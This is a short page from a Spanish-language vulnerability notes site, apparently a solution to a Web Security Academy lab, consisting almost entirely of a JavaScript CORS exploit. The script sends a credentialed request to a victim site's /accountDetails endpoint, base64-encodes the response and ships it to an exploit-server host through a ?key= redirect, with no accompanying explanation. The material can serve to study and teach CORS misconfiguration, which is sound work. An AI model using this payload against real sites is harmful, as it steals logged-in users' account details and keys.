> For the complete documentation index, see [llms.txt](https://cs.desdes.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cs.desdes.xyz/api/busqueda-de-vulnerabilidades/cors.md).

# Cors

<figure><img src="/files/AlWx0GvubvfqdUQJYYT2" alt=""><figcaption></figcaption></figure>

```javascript
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://accd1fd41f49fd57c0710d75007f00b6.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//exploit-acde1f681f31fd46c0970d7d01670029.web-security-academy.net//log?key='+btoa(this.responseText);
};
```